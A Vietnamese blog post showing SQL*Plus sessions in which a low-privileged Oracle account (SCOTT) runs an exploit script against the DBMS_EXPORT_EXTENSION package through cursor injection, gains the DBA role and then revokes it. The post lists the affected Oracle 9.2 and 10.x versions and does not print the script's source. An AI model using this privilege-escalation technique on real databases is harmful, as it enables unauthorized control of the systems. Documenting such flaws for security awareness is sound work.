Giới thiệu
Trong lĩnh vực bảo mật thông tin, kỹ thuật chèn mã SQL khá phổ biến đối với những người quan tâm về bảo mật, và ở Việt Nam kỹ thuật này thường được ứng dụng cho những Cơ sở dữ liệu đơn giản, ít được sử dụng tại các doanh nghiệp lớn như SQL Server, MySQL. Vì lý do này, tính nguy hiểm của chèn mã SQL vẫn chưa được đánh giá đúng mức tại Việt Nam. Đối với Cơ sở dữ liệu Oracle (Oracle Database), kỹ thuật này được biến đổi khá đa dạng và nguy hiểm, cho phép một tài khoản với quyền hạn thấp có thể tùy biến nâng, đoạt được quyền quản trị DBA theo nhiều cách khác nhau, giúp tin tặc có thể điều khiển toàn hệ thống máy chủ Oracle. Bài viết này sẽ minh họa mã khai thác điểm yếu chèn mã SQL, PL/SQL đối với gói lệnh sẵn có DBMS_EXPORT_EXTENSION.
Gói lệnh sẵn có DBMS_EXPORT_EXTENSION của Oracle Database, mặc định cho phép bất kì tài khoản nào trong Oracle cũng có thể truy cập.
Mã minh họa
Để minh họa kỹ thuật chèn mã vào gói DBMS_METADATA, chúng ta sẽ dùng File mã lệnh dbms_exp_ext_c_local.sql: File lệnh này sử dụng kỹ thuật chèn mã con trỏ nên cho phép một tài khoản bất kì chỉ có quyền CREATE SESSION có thể nâng quyền thành DBA.
(Nhằm mục đích minh họa, File lệnh này áp dụng cho kết nối đến Oracle Database cụ thể)
Mặc định tài khoản SCOTT được gán 2 nhóm quyền CONNECT, RESOURCE, ứng với các quyền đơn lẻ sau:
F:\demo>sqlplus scott/tiger
SQL*Plus: Release 9.2.0.1.0 - Production on Mon Oct 20 08:35:25 2008
Copyright (c) 1982, 2002, Oracle Corporation. All rights reserved.
Connected to:
Oracle9i Enterprise Edition Release 9.2.0.1.0 - Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.1.0 - ProductionSQL> SELECT * FROM user_role_privs;
USERNAME GRANTED_ROLE ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
SCOTT CONNECT NO YES NO
SCOTT RESOURCE NO YES NO2 rows selected
Thực hiện File mã lệnh sau để nâng quyền tài khoản SCOTT thành DBA:
SQL> @dbms_exp_ext_c_local.sql
dbms_exp_ext_c: Release 1.0 - Production on Tue Oct 20 08:38:38 2008
Copyright (c) 2008 WWW.VIETPACE.COM Limited. All rights reserved.USERNAME TO CHECK [SCOTT]:
PRIVS CONTROL Grant/Revoke [G]:--- CHECK CURSOR INJECTION
--- WE GOT THE POWAH!!PL/SQL procedure successfully completed.
For updates please visit WWW.VIETPACE.COM | WWW.BAOMATORACLE.COM
Tài khoản SCOTT đã nâng quyền lên thành DBA:
SQL> SELECT * FROM user_role_privs;
USERNAME GRANTED_ROLE ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
SCOTT CONNECT NO YES NO
SCOTT DBA NO YES NO
SCOTT RESOURCE NO YES NO3 rows selected.
Để gỡ quyền DBA khỏi tài khoản SCOTT, chúng ta làm như sau:
SQL> @dbms_exp_ext_c_local.sql
dbms_exp_ext_c_local: Release 1.0 - Production on Mon Oct 20 08:58:57 2008
Copyright (c) 2008 WWW.VIETPACE.COM Limited. All rights reserved.USERNAME TO CHECK [SCOTT]:
PRIVS CONTROL Grant/Revoke [G]: R--- REVOKING DBA FROM SCOTT...
--- DONE!PL/SQL procedure successfully completed.
For updates please visit WWW.VIETPACE.COM | WWW.BAOMATORACLE.COM
SQL>
Tài khoản SCOTT chỉ còn 2 nhóm quyền như lúc đầu:
SQL> SELECT * FROM user_role_privs;
USERNAME GRANTED_ROLE ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
SCOTT CONNECT NO YES NO
SCOTT RESOURCE NO YES NO2 rows selected.
Phiên bản ảnh hưởng
- Oracle Database 9.2.0.1, 9.2.0.4, 9.2.0.6, 9.2.0.8
- Oracle Database 10.1.0.3, 10.2.0.1
No comments:
Post a Comment